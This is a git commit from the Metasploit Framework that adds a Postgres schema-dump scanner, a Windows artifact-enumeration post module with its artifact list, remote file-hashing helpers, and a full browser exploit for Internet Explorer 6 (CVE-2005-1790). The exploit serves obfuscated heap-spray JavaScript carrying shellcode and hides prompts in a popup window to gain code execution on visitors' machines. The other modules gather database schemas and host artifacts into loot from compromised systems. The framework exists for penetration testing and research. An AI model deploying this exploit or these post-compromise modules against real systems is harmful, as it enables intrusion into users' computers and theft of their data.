Merge branch 'master' of git://github.com/rapid7/metasploit-framework into msf-scripts

unstable
m-1-k-3 2012-01-13 11:12:47 +01:00
commit e4a0205cc6
5 changed files with 464 additions and 0 deletions

View File

@ -0,0 +1,14 @@
# This file contains a list of artifacts used by the enum_artifacts post module
# Artifacts should be listed one per line and use the following formats:
# File entries
# file|path/to/file|md5sum
#
# Registry entries
# reg|hive|key|value
#
# Happy hunting
file|c:\ntdetect.com|b2de3452de03674c6cec68b8c8ce7c78
file|c:\boot.ini|fa579938b0733b87066546afe951082c
reg|HKEY_LOCAL_MACHINE\SYSTEM\Select|Current|1
reg|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACPI|DisplayName|Microsoft ACPI Driver

View File

@ -33,6 +33,15 @@ module File
end
end
#
# Returns a MD5 checksum of a given remote file
#
def file_remote_digestmd5(file2md5)
chksum = Digest::MD5.hexdigest(read_file(file2md5))
return chksum
end
#
# Returns a SHA1 checksum of a given local file
#
@ -47,6 +56,15 @@ module File
end
end
#
# Returns a SHA1 checksum of a given remote file
#
def file_remote_digestsha1(file2sha1)
chksum = Digest::SHA1.hexdigest(read_file(file2sha1))
return chksum
end
#
# Returns a SHA256 checksum of a given local file
#
@ -61,6 +79,15 @@ module File
end
end
#
# Returns a SHA2 checksum of a given remote file
#
def file_remote_digestsha2(file2sha2)
chksum = Digest::SHA256.hexdigest(read_file(file2sha2))
return chksum
end
#
# Platform-agnostic file read. Returns contents of remote file +file_name+
# as a String.

View File

@ -0,0 +1,125 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Postgres
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Postgres Schema Dump',
'Version' => '$Revision$',
'Description' => %Q{
This module extracts the schema information from a
Postgres server.
},
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
'License' => MSF_LICENSE
)
register_options([
OptString.new('DATABASE', [ true, 'The database to authenticate against', 'postgres']),
])
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
end
def run_host(ip)
pg_schema = get_schema
pg_schema.each do |db|
report_note(
:host => datastore['RHOST'],
:type => "postgres.db.schema",
:data => db,
:port => datastore['RPORT'],
:proto => 'tcp',
:update => :unique_data
)
end
output = "Postgres SQL Server Schema \n Host: #{datastore['RHOST']} \n Port: #{datastore['RPORT']} \n ====================\n\n"
output << YAML.dump(pg_schema)
this_service = report_service(
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:name => 'postgres',
:proto => 'tcp'
)
store_loot('postgres_schema', "text/plain", datastore['RHOST'], output, "#{datastore['RHOST']}_postgres_schema.txt", "Postgres SQL Schema", this_service)
print_good output
end
def get_schema
pg_schema = []
res = smart_query('SELECT datname FROM pg_database')
if res and not res.empty?
res.each do |row|
defaults = ['template1', 'template0', 'postgres']
next if defaults.include? row[0]
tmp_db = {}
tmp_db['DBName'] = row[0]
tmp_db['Tables'] = []
postgres_login({:database => row[0]})
tmp_tblnames = smart_query("SELECT c.relname, n.nspname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname NOT IN ('pg_catalog','pg_toast') AND pg_catalog.pg_table_is_visible(c.oid);")
if tmp_tblnames and not tmp_tblnames.empty?
tmp_tblnames.each do |tbl_row|
tmp_tbl = {}
tmp_tbl['TableName'] = tbl_row[0]
tmp_tbl['Columns'] = []
tmp_column_names = smart_query("SELECT A.attname, T.typname, A.attlen FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND (c.relname='#{tbl_row[0]}');")
if tmp_column_names and not tmp_column_names.empty?
tmp_column_names.each do |column_row|
tmp_column = {}
tmp_column['ColumnName'] = column_row[0]
tmp_column['ColumnType'] = column_row[1]
tmp_column['ColumnLength'] = column_row[2]
tmp_tbl['Columns'] << tmp_column
end
end
tmp_db['Tables'] << tmp_tbl
end
end
pg_schema << tmp_db
end
end
return pg_schema
end
def smart_query(query_string)
res = postgres_query(query_string,false)
#Error handling routine here, borrowed heavily from todb
case res.keys[0]
when :conn_error
print_error("A Connection Error occured")
return
when :sql_error
case res[:sql_error]
when /^C42501/
print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - Insufficent permissions."
return nil
else
print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - #{res[:sql_error]}"
return nil
end
when :complete
return res[:complete].rows
end
end
end

View File

@ -0,0 +1,192 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution Vulnerability',
'Description' => %q{
This bug is triggered when the browser handles a JavaScript 'onLoad' handler in
conjunction with an improperly initialized 'window()' JavaScript function.
This exploit results in a call to an address lower than the heap. The javascript
prompt() places our shellcode near where the call operand points to. We call
prompt() multiple times in separate iframes to place our return address.
We hide the prompts in a popup window behind the main window. We spray the heap
a second time with our shellcode and point the return address to the heap. I use
a fairly high address to make this exploit more reliable. IE will crash when the
exploit completes. Also, please note that Internet Explorer must allow popups
in order to continue exploitation.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Benjamin Tobias Franz', # Discovery
'Stuart Pearson', # Proof of Concept
'Sam Sharps' # Metasploit port
],
'References' =>
[
['MSB', 'MS05-054'],
['CVE', '2005-1790'],
['URL', 'http://www.securityfocus.com/bid/13799/info'],
['URL', 'http://www.cvedetails.com/cve/CVE-2005-1790'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Internet Explorer 6 on Windows XP', { 'iframes' => 4 } ],
[ 'Internet Explorer 6 Windows 2000', { 'iframes' => 8 } ],
],
'DisclosureDate' => 'Nov 21 2005',
'DefaultTarget' => 0))
end
def exploit
@var_redir = rand_text_alpha(rand(100)+1)
super
end
def auto_target(cli, request)
mytarget = nil
agent = request.headers['User-Agent']
print_status("Checking user agent: #{agent}")
if (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.1/)
mytarget = targets[0] # IE6 on XP
elsif (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.0/)
mytarget = targets[1] # IE6 on 2000
else
print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
end
mytarget
end
def on_request_uri(cli, request)
mytarget = auto_target(cli, request)
var_title = rand_text_alpha(rand(100) + 1)
func_main = rand_text_alpha(rand(100) + 1)
heapspray = ::Rex::Exploitation::JSObfu.new %Q|
function heapspray()
{
shellcode = unescape('#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var bigblock = unescape("#{Rex::Text.to_unescape(make_nops(4))}");
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 250; i++){ memory[i] = block + shellcode }
var ret = "";
var fillmem = "";
for (i = 0; i < 500; i++)
ret += unescape("%u0F0F%u0F0F");
for (i = 0; i < 200; i++)
fillmem += ret;
prompt(fillmem, "");
}
|
heapspray.obfuscate
nofunc = ::Rex::Exploitation::JSObfu.new %Q|
if (document.location.href.indexOf("#{@var_redir}") == -1)
{
var counter = 0;
top.consoleRef = open('','BlankWindow',
'width=100,height=100'
+',menubar=0'
+',toolbar=1'
+',status=0'
+',scrollbars=0'
+',left=1'
+',top=1'
+',resizable=1')
self.focus()
for (counter = 0; counter < #{mytarget['iframes']}; counter++)
{
top.consoleRef.document.writeln('<iframe width=1 height=1 src='+document.location.href+'?p=#{@var_redir}</iframe>');
}
document.writeln("<body onload=\\"setTimeout('#{func_main}()',6000)\\">");
}
else
{
#{heapspray.sym('heapspray')}();
}
|
nofunc.obfuscate
main = %Q|
function #{func_main}()
{
document.write("<TITLE>#{var_title}</TITLE>");
document.write("<body onload=window();>");
window.location.reload();
}
|
html = %Q|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<html>
<head>
<meta http-equiv="Content-Language" content="en-gb">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<script>
#{nofunc}
#{heapspray}
#{main}
</script>
</head>
<body>
</body>
</html>
|
print_status("Sending #{self.name} to client #{cli.peerhost}")
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
# Handle the payload
handler(cli)
end
end

View File

@ -0,0 +1,106 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'rex'
require 'msf/core'
require 'msf/core/post/file'
require 'msf/core/post/windows/registry'
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::File
include Msf::Post::Windows::Registry
def initialize(info={})
super( update_info( info,
'Name' => 'Windows File and Registry Artifacts Enumeration',
'Description' => %q{
This module will check the file system and registry for particular artifacts. The
list of artifacts is read from data/post/artifacts or a user specified file. Any
matches are written to the loot. },
'License' => MSF_LICENSE,
'Author' => [ 'averagesecurityguy <stephen[at]averagesecurityguy.info>' ],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptPath.new( 'ARTIFACTS',
[
true,
'Full path to artifacts file.',
::File.join(Msf::Config.data_directory, 'post', 'enum_artifacts_list.txt')
])
], self.class)
end
def run
# Store any found artifacts so they can be written to loot
files_found = []
reg_found = []
# Check artifacts file path
filename = datastore['ARTIFACTS']
if not ::File.exists?(filename)
print_error("Artifacts file does not exist!")
return
end
# Start enumerating
print_status("Processing artifacts file...")
file = ::File.open(filename, "r")
file.each_line do |line|
line.strip!
next if line.length < 1
next if line[0,1] == "#"
# Check registry
if line =~ /^reg/
type, reg_key, val, data = line.split("|")
reg_data = registry_getvaldata(reg_key, val)
if reg_data.to_s == data
reg_found << "#{reg_key}\\#{val}"
end
end
# Check file
if line =~ /^file/
type, file, hash = line.split("|")
digest = file_remote_digestmd5(file)
if digest == hash
files_found << file
end
end
end
# Reporting. In case the user wants to separte artifact types (file vs registry),
# we've already done it at this point.
if files_found.empty?
print_status("No file artifacts found")
else
save(files_found, "Enumerated File Artifacts")
end
if reg_found.empty?
print_status("No registry artifacts found")
else
save(reg_found, "Enumerated Registry Artifacts")
end
end
def save(data, name)
f = store_loot('enumerated.artifacts', 'text/plain', session, data.join("\n"), name)
print_status("#{name} stored in: #{f}")
end
end
=begin
To-do: Use CSV or yaml format to store enum_artifacts_list.txt
=end